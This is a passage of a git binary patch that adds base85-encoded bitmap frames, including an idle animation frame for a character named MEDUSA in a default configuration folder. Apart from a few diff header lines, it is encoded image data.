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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp new file mode 100644 index 0000000000000000000000000000000000000000..426af0b83991a2606b794bd0dad803d65e556c06 GIT binary patch literal 18462 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 